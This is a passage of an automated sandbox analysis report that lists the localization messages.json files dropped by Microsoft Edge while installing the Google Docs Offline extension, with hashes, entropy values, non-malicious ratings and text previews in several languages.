SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

